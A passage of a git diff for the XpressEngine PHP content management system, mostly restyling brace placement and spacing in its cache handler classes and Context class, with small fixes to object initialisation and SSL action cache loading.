call_user_func(array($class, 'getInstance'), $url); + $this->keyGroupVersions = $this->handler->get('key_group_versions', 0); + if(!$this->keyGroupVersions) + { + $this->keyGroupVersions = array(); + $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); + } } } } @@ -81,8 +119,12 @@ class CacheHandler extends Handler { * * @return boolean */ - function isSupport(){ - if($this->handler && $this->handler->isSupport()) return true; + function isSupport() + { + if($this->handler && $this->handler->isSupport()) + { + return true; + } return false; } @@ -91,11 +133,15 @@ class CacheHandler extends Handler { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0){ - if(!$this->handler) return false; + function get($key, $modified_time = 0) + { + if(!$this->handler) + { + return false; + } return $this->handler->get($key, $modified_time); } @@ -105,12 +151,16 @@ class CacheHandler extends Handler { * @param string $key Cache key * @param mixed $obj Value of a variable to store. $value supports all data types except resources, such as file handlers. * @param int $valid_time Time for the variable to live in the cache in seconds. - * After the value specified in ttl has passed the stored variable will be deleted from the cache. - * If no ttl is supplied, use the default valid time. + * After the value specified in ttl has passed the stored variable will be deleted from the cache. + * If no ttl is supplied, use the default valid time. * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function put($key, $obj, $valid_time = 0){ - if(!$this->handler) return false; + function put($key, $obj, $valid_time = 0) + { + if(!$this->handler) + { + return false; + } return $this->handler->put($key, $obj, $valid_time); } @@ -120,8 +170,12 @@ class CacheHandler extends Handler { * @param string $key Cache key * @return void */ - function delete($key){ - if(!$this->handler) return false; + function delete($key) + { + if(!$this->handler) + { + return false; + } return $this->handler->delete($key); } @@ -130,11 +184,15 @@ class CacheHandler extends Handler { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time){ - if(!$this->handler) return false; + function isValid($key, $modified_time) + { + if(!$this->handler) + { + return false; + } return $this->handler->isValid($key, $modified_time); } @@ -143,8 +201,12 @@ class CacheHandler extends Handler { * * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function truncate(){ - if(!$this->handler) return false; + function truncate() + { + if(!$this->handler) + { + return false; + } return $this->handler->truncate(); } @@ -164,8 +226,10 @@ class CacheHandler extends Handler { * @param string $key Cache key * @return string */ - function getGroupKey($keyGroupName, $key){ - if(!$this->keyGroupVersions[$keyGroupName]){ + function getGroupKey($keyGroupName, $key) + { + if(!$this->keyGroupVersions[$keyGroupName]) + { $this->keyGroupVersions[$keyGroupName] = 1; $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); } @@ -179,10 +243,12 @@ class CacheHandler extends Handler { * @param string $keyGroupName Group name * @return void */ - function invalidateGroupKey($keyGroupName){ + function invalidateGroupKey($keyGroupName) + { $this->keyGroupVersions[$keyGroupName]++; $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); } + } /** @@ -190,17 +256,19 @@ class CacheHandler extends Handler { * * @author NHN (developer@xpressengine.com) */ -class CacheBase{ +class CacheBase +{ /** * Get cached data * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0){ + function get($key, $modified_time = 0) + { return false; } @@ -210,11 +278,12 @@ class CacheBase{ * @param string $key Cache key * @param mixed $obj Value of a variable to store. $value supports all data types except resources, such as file handlers. * @param int $valid_time Time for the variable to live in the cache in seconds. - * After the value specified in ttl has passed the stored variable will be deleted from the cache. - * If no ttl is supplied, use the default valid time. + * After the value specified in ttl has passed the stored variable will be deleted from the cache. + * If no ttl is supplied, use the default valid time. * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function put($key, $obj, $valid_time = 0){ + function put($key, $obj, $valid_time = 0) + { return false; } @@ -223,10 +292,11 @@ class CacheBase{ * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0){ + function isValid($key, $modified_time = 0) + { return false; } @@ -235,7 +305,8 @@ class CacheBase{ * * @return boolean */ - function isSupport(){ + function isSupport() + { return false; } @@ -244,10 +315,11 @@ class CacheBase{ * * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function truncate(){ + function truncate() + { return false; } -} +} /* End of file CacheHandler.class.php */ /* Location: ./classes/cache/CacheHandler.class.php */ diff --git a/classes/cache/CacheMemcache.class.php b/classes/cache/CacheMemcache.class.php index 17962a71c..1ba319ef2 100644 --- a/classes/cache/CacheMemcache.class.php +++ b/classes/cache/CacheMemcache.class.php @@ -1,10 +1,13 @@ Memcache = new Memcache; - foreach($config['url'] as $url) { + foreach($config['url'] as $url) + { $info = parse_url($url); $this->Memcache->addServer($info['host'], $info['port']); } @@ -53,11 +60,18 @@ class CacheMemcache extends CacheBase { * * @return bool Return true on support or false on not support */ - function isSupport(){ - if($GLOBALS['XE_MEMCACHE_SUPPORT']) return true; - if($this->Memcache->set('xe', 'xe', MEMCACHE_COMPRESSED, 1)) { + function isSupport() + { + if($GLOBALS['XE_MEMCACHE_SUPPORT']) + { + return true; + } + if($this->Memcache->set('xe', 'xe', MEMCACHE_COMPRESSED, 1)) + { $GLOBALS['XE_MEMCACHE_SUPPORT'] = true; - } else { + } + else + { $GLOBALS['XE_MEMCACHE_SUPPORT'] = false; } return $GLOBALS['XE_MEMCACHE_SUPPORT']; @@ -69,8 +83,9 @@ class CacheMemcache extends CacheBase { * @param string $key Cache key * @return string Return unique key */ - function getKey($key){ - return md5(_XE_PATH_.$key); + function getKey($key) + { + return md5(_XE_PATH_ . $key); } /** @@ -86,12 +101,16 @@ class CacheMemcache extends CacheBase { * @param string $key The key that will be associated with the item. * @param mixed $buff The variable to store. Strings and integers are stored as is, other types are stored serialized. * @param int $valid_time Expiration time of the item. - * You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days). - * If it's equal to zero, use the default valid time CacheMemcache::valid_time. + * You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days). + * If it's equal to zero, use the default valid time CacheMemcache::valid_time. * @return bool Returns true on success or false on failure. */ - function put($key, $buff, $valid_time = 0){ - if($valid_time == 0) $valid_time = $this->valid_time; + function put($key, $buff, $valid_time = 0) + { + if($valid_time == 0) + { + $valid_time = $this->valid_time; + } return $this->Memcache->set($this->getKey($key), array(time(), $buff), MEMCACHE_COMPRESSED, $valid_time); } @@ -101,17 +120,22 @@ class CacheMemcache extends CacheBase { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { + function isValid($key, $modified_time = 0) + { $_key = $this->getKey($key); $obj = $this->Memcache->get($_key); - if(!$obj || !is_array($obj)) return false; + if(!$obj || !is_array($obj)) + { + return false; + } unset($obj[1]); - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -126,15 +150,20 @@ class CacheMemcache extends CacheBase { * * @param string $key The key to fetch * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { + function get($key, $modified_time = 0) + { $_key = $this->getKey($key); $obj = $this->Memcache->get($_key); - if(!$obj || !is_array($obj)) return false; + if(!$obj || !is_array($obj)) + { + return false; + } - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -152,7 +181,8 @@ class CacheMemcache extends CacheBase { * @param string $key The key associated with the item to delete. * @return void */ - function delete($key) { + function delete($key) + { $_key = $this->getKey($key); $this->_delete($_key); } @@ -164,7 +194,8 @@ class CacheMemcache extends CacheBase { * @param string $_key The key associated with the item to delete. * @return void */ - function _delete($_key) { + function _delete($_key) + { $this->Memcache->delete($_key); } @@ -177,10 +208,11 @@ class CacheMemcache extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { return $this->Memcache->flush(); } -} +} /* End of file CacheMemcache.class.php */ /* Location: ./classes/cache/CacheMemcache.class.php */ diff --git a/classes/cache/CacheWincache.class.php b/classes/cache/CacheWincache.class.php index 248e98932..3b86815ee 100644 --- a/classes/cache/CacheWincache.class.php +++ b/classes/cache/CacheWincache.class.php @@ -1,12 +1,15 @@ valid_time; - return wincache_ucache_set(md5(_XE_PATH_.$key), array(time(), $buff), $valid_time); + function put($key, $buff, $valid_time = 0) + { + if($valid_time == 0) + { + $valid_time = $this->valid_time; + } + return wincache_ucache_set(md5(_XE_PATH_ . $key), array(time(), $buff), $valid_time); } /** @@ -64,20 +76,25 @@ class CacheWincache extends CacheBase { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function isValid($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = wincache_ucache_get($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } unset($obj[1]); - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } - + return true; } @@ -86,15 +103,20 @@ class CacheWincache extends CacheBase { * * @param string $key The $key that was used to store the variable in the cache. * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function get($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = wincache_ucache_get($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -108,7 +130,8 @@ class CacheWincache extends CacheBase { * @param string $_key Used to store the value. * @return void */ - function _delete($_key) { + function _delete($_key) + { wincache_ucache_delete($_key); } @@ -118,8 +141,9 @@ class CacheWincache extends CacheBase { * @param string $key Used to store the value. * @return void */ - function delete($key) { - $_key = md5(_XE_PATH_.$key); + function delete($key) + { + $_key = md5(_XE_PATH_ . $key); $this->_delete($_key); } @@ -128,10 +152,11 @@ class CacheWincache extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { return wincache_ucache_clear(); } -} +} /* End of file CacheWincache.class.php */ /* Location: ./classes/cache/CacheWincache.class.php */ diff --git a/classes/context/Context.class.php b/classes/context/Context.class.php index 90a7b4f87..6fc4792dc 100644 --- a/classes/context/Context.class.php +++ b/classes/context/Context.class.php @@ -1,7 +1,8 @@ .. * @var string */ var $html_header = NULL; + /** * class names of * @var array */ - var $body_class = array(); + var $body_class = array(); + /** * codes after * @var string */ var $body_header = NULL; + /** * class names before * @var string */ var $html_footer = NULL; + /** - * path of Xpress Engine + * path of Xpress Engine * @var string */ var $path = ''; - // language information - it is changed by HTTP_USER_AGENT or user's cookie /** - * language type + * language type * @var string */ var $lang_type = ''; + /** * contains language-specific data - * @var object + * @var object */ var $lang = NULL; + /** * list of loaded languages (to avoid re-loading them) * @var array */ var $loaded_lang_files = array(); + /** * site's browser title * @var string */ var $site_title = ''; + /** * variables from GET or form submit * @var mixed */ var $get_vars = NULL; + /** - * Checks uploaded + * Checks uploaded * @var bool true if attached file exists */ var $is_uploaded = false; @@ -133,19 +158,12 @@ class Context { * * @return object Instance */ - function &getInstance() { + function &getInstance() + { static $theInstance = null; - if(!$theInstance) $theInstance = new Context(); - - // include ssl action cache file - $theInstance->sslActionCacheFile = FileHandler::getRealPath($theInstance->sslActionCacheFile); - if(is_readable($theInstance->sslActionCacheFile)) + if(!$theInstance) { - require_once($theInstance->sslActionCacheFile); - if(isset($sslActions)) - { - $theInstance->ssl_actions = $sslActions; - } + $theInstance = new Context(); } return $theInstance; @@ -159,6 +177,18 @@ class Context { function Context() { $this->oFrontEndFileHandler = new FrontEndFileHandler(); + $this->get_vars = new stdClass(); + + // include ssl action cache file + $this->sslActionCacheFile = FileHandler::getRealPath($this->sslActionCacheFile); + if(is_readable($this->sslActionCacheFile)) + { + require_once($this->sslActionCacheFile); + if(isset($sslActions)) + { + $this->ssl_actions = $sslActions; + } + } } /** @@ -167,7 +197,8 @@ class Context { * @see This function should be called only once * @return void */ - function init() { + function init() + { // set context variables in $GLOBALS (to use in display handler) $this->context = &$GLOBALS['__Context__']; $this->context->lang = &$GLOBALS['lang']; @@ -183,115 +214,170 @@ class Context { $this->loadDBInfo(); // If XE is installed, get virtual site information - if(Context::isInstalled()) { - $oModuleModel = &getModel('module'); + if(Context::isInstalled()) + { + $oModuleModel = getModel('module'); $site_module_info = $oModuleModel->getDefaultMid(); + + if(!isset($site_module_info)) + { + $site_module_info = new stdClass(); + } + // if site_srl of site_module_info is 0 (default site), compare the domain to default_url of db_config - if($site_module_info->site_srl == 0 && $site_module_info->domain != $this->db_info->default_url) { + if($site_module_info->site_srl == 0 && $site_module_info->domain != $this->db_info->default_url) + { $site_module_info->domain = $this->db_info->default_url; } $this->set('site_module_info', $site_module_info); - if($site_module_info->site_srl && isSiteID($site_module_info->domain)) $this->set('vid', $site_module_info->domain, true); + if($site_module_info->site_srl && isSiteID($site_module_info->domain)) + { + $this->set('vid', $site_module_info->domain, true); + } + + if(!isset($this->db_info)) + { + $this->db_info = new stdClass(); + } $this->db_info->lang_type = $site_module_info->default_language; - if(!$this->db_info->lang_type) $this->db_info->lang_type = 'en'; - if(!$this->db_info->use_db_session) $this->db_info->use_db_session = 'N'; + if(!$this->db_info->lang_type) + { + $this->db_info->lang_type = 'en'; + } + if(!$this->db_info->use_db_session) + { + $this->db_info->use_db_session = 'N'; + } } // Load Language File $lang_supported = $this->loadLangSelected(); // Retrieve language type set in user's cookie - if($this->get('l')) { + if($this->get('l')) + { $this->lang_type = $this->get('l'); - if($_COOKIE['lang_type'] != $this->lang_type) { - setcookie('lang_type', $this->lang_type, time()+3600*24*1000, '/'); + if($_COOKIE['lang_type'] != $this->lang_type) + { + setcookie('lang_type', $this->lang_type, time() + 3600 * 24 * 1000, '/'); } - } elseif($_COOKIE['lang_type']) { + } + elseif($_COOKIE['lang_type']) + { $this->lang_type = $_COOKIE['lang_type']; } // If it's not exists, follow default language type set in db_info - if(!$this->lang_type) $this->lang_type = $this->db_info->lang_type; + if(!$this->lang_type) + { + $this->lang_type = $this->db_info->lang_type; + } // if still lang_type has not been set or has not-supported type , set as English. - if(!$this->lang_type) $this->lang_type = 'en'; - if(is_array($lang_supported)&&!isset($lang_supported[$this->lang_type])) $this->lang_type = 'en'; + if(!$this->lang_type) + { + $this->lang_type = 'en'; + } + if(is_array($lang_supported) && !isset($lang_supported[$this->lang_type])) + { + $this->lang_type = 'en'; + } $this->set('lang_supported', $lang_supported); $this->setLangType($this->lang_type); // load module module's language file according to language setting - $this->loadLang(_XE_PATH_.'modules/module/lang'); + $this->loadLang(_XE_PATH_ . 'modules/module/lang'); // set session handler - if(Context::isInstalled() && $this->db_info->use_db_session == 'Y') { - $oSessionModel = &getModel('session'); - $oSessionController = &getController('session'); + if(Context::isInstalled() && $this->db_info->use_db_session == 'Y') + { + $oSessionModel = getModel('session'); + $oSessionController = getController('session'); session_set_save_handler( - array(&$oSessionController, 'open'), - array(&$oSessionController, 'close'), - array(&$oSessionModel, 'read'), - array(&$oSessionController, 'write'), - array(&$oSessionController, 'destroy'), - array(&$oSessionController, 'gc') + array(&$oSessionController, 'open'), array(&$oSessionController, 'close'), array(&$oSessionModel, 'read'), array(&$oSessionController, 'write'), array(&$oSessionController, 'destroy'), array(&$oSessionController, 'gc') ); } session_start(); - if($sess=$_POST[session_name()]) session_id($sess); + if($sess = $_POST[session_name()]) + { + session_id($sess); + } // set authentication information in Context and session - if(Context::isInstalled()) { - $oModuleModel = &getModel('module'); + if(Context::isInstalled()) + { + $oModuleModel = getModel('module'); $oModuleModel->loadModuleExtends(); - $oMemberModel = &getModel('member'); - $oMemberController = &getController('member'); + $oMemberModel = getModel('member'); + $oMemberController = getController('member'); if($oMemberController && $oMemberModel) { // if signed in, validate it. - if($oMemberModel->isLogged()) { + if($oMemberModel->isLogged()) + { $oMemberController->setSessionInfo(); } - elseif($_COOKIE['xeak']) { // check auto sign-in + // check auto sign-in + elseif($_COOKIE['xeak']) + { $oMemberController->doAutologin(); } - $this->set('is_logged', $oMemberModel->isLogged() ); - $this->set('logged_info', $oMemberModel->getLoggedInfo() ); + $this->set('is_logged', $oMemberModel->isLogged()); + $this->set('logged_info', $oMemberModel->getLoggedInfo()); } } // load common language file $this->lang = &$GLOBALS['lang']; - $this->loadLang(_XE_PATH_.'common/lang/'); + $this->loadLang(_XE_PATH_ . 'common/lang/'); // check if using rewrite module - if(file_exists(_XE_PATH_.'.htaccess')&&$this->db_info->use_rewrite == 'Y') $this->allow_rewrite = true; - else $this->allow_rewrite = false; + if(file_exists(_XE_PATH_ . '.htaccess') && $this->db_info->use_rewrite == 'Y') + { + $this->allow_rewrite = true; + } + else + { + $this->allow_rewrite = false; + } // set locations for javascript use - if($_SERVER['REQUEST_METHOD'] == 'GET') { - if($this->get_vars) { - foreach($this->get_vars as $key=>$val) { - if(is_array($val)&&count($val)) { - foreach($val as $k => $v) { - $url .= ($url?'&':'').$key.'['.$k.']='.urlencode($v); + if($_SERVER['REQUEST_METHOD'] == 'GET') + { + if($this->get_vars) + { + foreach($this->get_vars as $key => $val) + { + if(is_array($val) && count($val)) + { + foreach($val as $k => $v) + { + $url .= ($url ? '&' : '') . $key . '[' . $k . ']=' . urlencode($v); } - } elseif ($val) { - $url .= ($url?'&':'').$key.'='.urlencode($val); + } + elseif($val) + { + $url .= ($url ? '&' : '') . $key . '=' . urlencode($val); } } - $this->set('current_url',sprintf('%s?%s', Context::getRequestUri(), $url)); - } else { - $this->set('current_url',$this->getUrl()); + $this->set('current_url', sprintf('%s?%s', Context::getRequestUri(), $url)); + } + else + { + $this->set('current_url', $this->getUrl()); } - } else { - $this->set('current_url',Context::getRequestUri()); } - $this->set('request_uri',Context::getRequestUri()); + else + { + $this->set('current_url', Context::getRequestUri()); + } + $this->set('request_uri', Context::getRequestUri()); } /** @@ -299,13 +385,20 @@ class Context { * * @return void */ - function close() { + function close() + { // Session Close - if(function_exists('session_write_close')) session_write_close(); + if(function_exists('session_write_close')) + { + session_write_close(); + } // DB close - $oDB = &DB::getInstance(); - if(is_object($oDB)&&method_exists($oDB, 'close')) $oDB->close(); + $oDB = DB::getInstance(); + if(is_object($oDB) && method_exists($oDB, 'close')) + { + $oDB->close(); + } } /** @@ -313,52 +406,76 @@ class Context { * * @return void */ - function loadDBInfo() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function loadDBInfo() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if(!$self->isInstalled()) return; + if(!$self->isInstalled()) + { + return; + } $config_file = $self->getConfigFile(); - if(is_readable($config_file)) @include($config_file); + if(is_readable($config_file)) + { + @include($config_file); + } - // If master_db information does not exist, the config file needs to be updated - if(!isset($db_info->master_db)) { - $db_info->master_db = array(); - $db_info->master_db["db_type"] = $db_info->db_type; unset($db_info->db_type); - $db_info->master_db["db_port"] = $db_info->db_port; unset($db_info->db_port); - $db_info->master_db["db_hostname"] = $db_info->db_hostname; unset($db_info->db_hostname); - $db_info->master_db["db_password"] = $db_info->db_password; unset($db_info->db_password); - $db_info->master_db["db_database"] = $db_info->db_database; unset($db_info->db_database); - $db_info->master_db["db_userid"] = $db_info->db_userid; unset($db_info->db_userid); - $db_info->master_db["db_table_prefix"] = $db_info->db_table_prefix; unset($db_info->db_table_prefix); - if(substr($db_info->master_db["db_table_prefix"],-1)!='_') $db_info->master_db["db_table_prefix"] .= '_'; + // If master_db information does not exist, the config file needs to be updated + if(!isset($db_info->master_db)) + { + $db_info->master_db = array(); + $db_info->master_db["db_type"] = $db_info->db_type; + unset($db_info->db_type); + $db_info->master_db["db_port"] = $db_info->db_port; + unset($db_info->db_port); + $db_info->master_db["db_hostname"] = $db_info->db_hostname; + unset($db_info->db_hostname); + $db_info->master_db["db_password"] = $db_info->db_password; + unset($db_info->db_password); + $db_info->master_db["db_database"] = $db_info->db_database; + unset($db_info->db_database); + $db_info->master_db["db_userid"] = $db_info->db_userid; + unset($db_info->db_userid); + $db_info->master_db["db_table_prefix"] = $db_info->db_table_prefix; + unset($db_info->db_table_prefix); + if(substr($db_info->master_db["db_table_prefix"], -1) != '_') + { + $db_info->master_db["db_table_prefix"] .= '_'; + } - $slave_db = $db_info->master_db; - $db_info->slave_db = array($slave_db); - - $self->setDBInfo($db_info); + $slave_db = $db_info->master_db; + $db_info->slave_db = array($slave_db); - $oInstallController = &getController('install'); - $oInstallController->makeConfigFile(); - } - - if(!$db_info->use_prepared_statements) + $self->setDBInfo($db_info); + + $oInstallController = getController('install'); + $oInstallController->makeConfigFile(); + } + + if(!$db_info->use_prepared_statements) { $db_info->use_prepared_statements = 'Y'; } - - if(!$db_info->time_zone) $db_info->time_zone = date('O'); + + if(!$db_info->time_zone) + $db_info->time_zone = date('O'); $GLOBALS['_time_zone'] = $db_info->time_zone; - if($db_info->qmail_compatibility != 'Y') $db_info->qmail_compatibility = 'N'; + if($db_info->qmail_compatibility != 'Y') + $db_info->qmail_compatibility = 'N'; $GLOBALS['_qmail_compatibility'] = $db_info->qmail_compatibility; - if(!$db_info->use_db_session) $db_info->use_db_session = 'N'; - if(!$db_info->use_ssl) $db_info->use_ssl = 'none'; + if(!$db_info->use_db_session) + $db_info->use_db_session = 'N'; + if(!$db_info->use_ssl) + $db_info->use_ssl = 'none'; $this->set('_use_ssl', $db_info->use_ssl); - if($db_info->http_port) $self->set('_http_port', $db_info->http_port); - if($db_info->https_port) $self->set('_https_port', $db_info->https_port); + if($db_info->http_port) + $self->set('_http_port', $db_info->http_port); + if($db_info->https_port) + $self->set('_https_port', $db_info->https_port); $self->setDBInfo($db_info); } @@ -368,8 +485,9 @@ class Context { * * @return string DB's db_type */ - function getDBType() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getDBType() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->db_info->master_db["db_type"]; } @@ -379,8 +497,9 @@ class Context { * @param object $db_info DB information * @return void */ - function setDBInfo($db_info) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setDBInfo($db_info) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->db_info = $db_info; } @@ -389,15 +508,16 @@ class Context { * * @return object DB information */ - function getDBInfo() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getDBInfo() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->db_info; } /** * Return ssl status * - * @return object SSL status (Optional - none|always|optional) + * @return object SSL status (Optional - none|always|optional) */ function getSslStatus() { @@ -410,7 +530,8 @@ class Context { * * @return string Default URL */ - function getDefaultUrl() { + function getDefaultUrl() + { $db_info = Context::getDBInfo(); return $db_info->default_url; } @@ -420,12 +541,15 @@ class Context { * * @return array Supported languages */ - function loadLangSupported() { + function loadLangSupported() + { static $lang_supported = null; - if(!$lang_supported) { - $langs = file(_XE_PATH_.'common/lang/lang.info'); - foreach($langs as $val) { - list($lang_prefix, $lang_text) = explode(',',$val); + if(!$lang_supported) + { + $langs = file(_XE_PATH_ . 'common/lang/lang.info'); + foreach($langs as $val) + { + list($lang_prefix, $lang_text) = explode(',', $val); $lang_text = trim($lang_text); $lang_supported[$lang_prefix] = $lang_text; } @@ -438,24 +562,31 @@ class Context { * * @return array Selected languages */ - function loadLangSelected() { + function loadLangSelected() + { static $lang_selected = null; - if(!$lang_selected) { - $orig_lang_file = _XE_PATH_.'common/lang/lang.info'; - $selected_lang_file = _XE_PATH_.'files/config/lang_selected.info'; - if(!FileHandler::hasContent($selected_lang_file)) { - $old_selected_lang_file = _XE_PATH_.'files/cache/lang_selected.info'; + if(!$lang_selected) + { + $orig_lang_file = _XE_PATH_ . 'common/lang/lang.info'; + $selected_lang_file = _XE_PATH_ . 'files/config/lang_selected.info'; + if(!FileHandler::hasContent($selected_lang_file)) + { + $old_selected_lang_file = _XE_PATH_ . 'files/cache/lang_selected.info'; FileHandler::moveFile($old_selected_lang_file, $selected_lang_file); } - if(!FileHandler::hasContent($selected_lang_file)) { + if(!FileHandler::hasContent($selected_lang_file)) + { $buff = FileHandler::readFile($orig_lang_file); FileHandler::writeFile($selected_lang_file, $buff); $lang_selected = Context::loadLangSupported(); - } else { + } + else + { $langs = file($selected_lang_file); - foreach($langs as $val) { - list($lang_prefix, $lang_text) = explode(',',$val); + foreach($langs as $val) + { + list($lang_prefix, $lang_text) = explode(',', $val); $lang_text = trim($lang_text); $lang_selected[$lang_prefix] = $lang_text; } @@ -469,42 +600,62 @@ class Context { * * @return bool True : Module handling is necessary in the control path of current request , False : Otherwise */ - function checkSSO() { + function checkSSO() + { // pass if it's not GET request or XE is not yet installed - if($this->db_info->use_sso != 'Y' || isCrawler()) return true; - $checkActList = array('rss'=>1, 'atom'=>1); - if(Context::getRequestMethod()!='GET' || !Context::isInstalled() || isset($checkActList[Context::get('act')])) return true; + if($this->db_info->use_sso != 'Y' || isCrawler()) + { + return true; + } + $checkActList = array('rss' => 1, 'atom' => 1); + if(Context::getRequestMethod() != 'GET' || !Context::isInstalled() || isset($checkActList[Context::get('act')])) + { + return true; + } // pass if default URL is not set $default_url = trim($this->db_info->default_url); - if(!$default_url) return true; - if(substr($default_url,-1)!='/') $default_url .= '/'; + if(!$default_url) + { + return true; + } + if(substr($default_url, -1) != '/') + { + $default_url .= '/'; + } // for sites recieving SSO valdiation - if($default_url == Context::getRequestUri()) { - if(Context::get('default_url')) { + if($default_url == Context::getRequestUri()) + { + if(Context::get('default_url')) + { $url = base64_decode(Context::get('default_url')); $url_info = parse_url($url); - $url_info['query'].= ($url_info['query']?'&':'').'SSOID='.session_id(); - $redirect_url = sprintf('%s://%s%s%s?%s',$url_info['scheme'],$url_info['host'],$url_info['port']?':'.$url_info['port']:'',$url_info['path'], $url_info['query']); - header('location:'.$redirect_url); + $url_info['query'].= ($url_info['query'] ? '&' : '') . 'SSOID=' . session_id(); + $redirect_url = sprintf('%s://%s%s%s?%s', $url_info['scheme'], $url_info['host'], $url_info['port'] ? ':' . $url_info['port'] : '', $url_info['path'], $url_info['query']); + header('location:' . $redirect_url); return false; } - // for sites requesting SSO validation - } else { + // for sites requesting SSO validation + } + else + { // result handling : set session_name() - if(Context::get('SSOID')) { + if(Context::get('SSOID')) + { $session_name = Context::get('SSOID'); setcookie(session_name(), $session_name); - $url = preg_replace('/([\?\&])$/','',str_replace('SSOID='.$session_name,'',Context::getRequestUrl())); - header('location:'.$url); + $url = preg_replace('/([\?\&])$/', '', str_replace('SSOID=' . $session_name, '', Context::getRequestUrl())); + header('location:' . $url); return false; - // send SSO request - } else if($_COOKIE['sso']!=md5(Context::getRequestUri()) && !Context::get('SSOID')) { - setcookie('sso',md5(Context::getRequestUri()),0,'/'); + // send SSO request + } + else if($_COOKIE['sso'] != md5(Context::getRequestUri()) && !Context::get('SSOID')) + { + setcookie('sso', md5(Context::getRequestUri()), 0, '/'); $url = sprintf("%s?default_url=%s", $default_url, base64_encode(Context::getRequestUrl())); - header('location:'.$url); + header('location:' . $url); return false; } } @@ -517,9 +668,13 @@ class Context { * * @return bool True: FTP information is registered, False: otherwise */ - function isFTPRegisted() { + function isFTPRegisted() + { $ftp_config_file = Context::getFTPConfigFile(); - if(file_exists($ftp_config_file)) return true; + if(file_exists($ftp_config_file)) + { + return true; + } return false; } @@ -528,9 +683,13 @@ class Context { * * @return object FTP information */ - function getFTPInfo() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if(!$self->isFTPRegisted()) return null; + function getFTPInfo() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if(!$self->isFTPRegisted()) + { + return null; + } $ftp_config_file = $self->getFTPConfigFile(); @include($ftp_config_file); @@ -544,12 +703,22 @@ class Context { * @param string $site_title Browser title to be added * @return void */ - function addBrowserTitle($site_title) { - if(!$site_title) return; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addBrowserTitle($site_title) + { + if(!$site_title) + { + return; + } + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if($self->site_title) $self->site_title .= ' - '.$site_title; - else $self->site_title = $site_title; + if($self->site_title) + { + $self->site_title .= ' - ' . $site_title; + } + else + { + $self->site_title = $site_title; + } } /** @@ -558,9 +727,13 @@ class Context { * @param string $site_title Browser title to be set * @return void */ - function setBrowserTitle($site_title) { - if(!$site_title) return; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setBrowserTitle($site_title) + { + if(!$site_title) + { + return; + } + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->site_title = $site_title; } @@ -569,19 +742,40 @@ class Context { * * @return string Browser title(htmlspecialchars applied) */ - function getBrowserTitle() { - 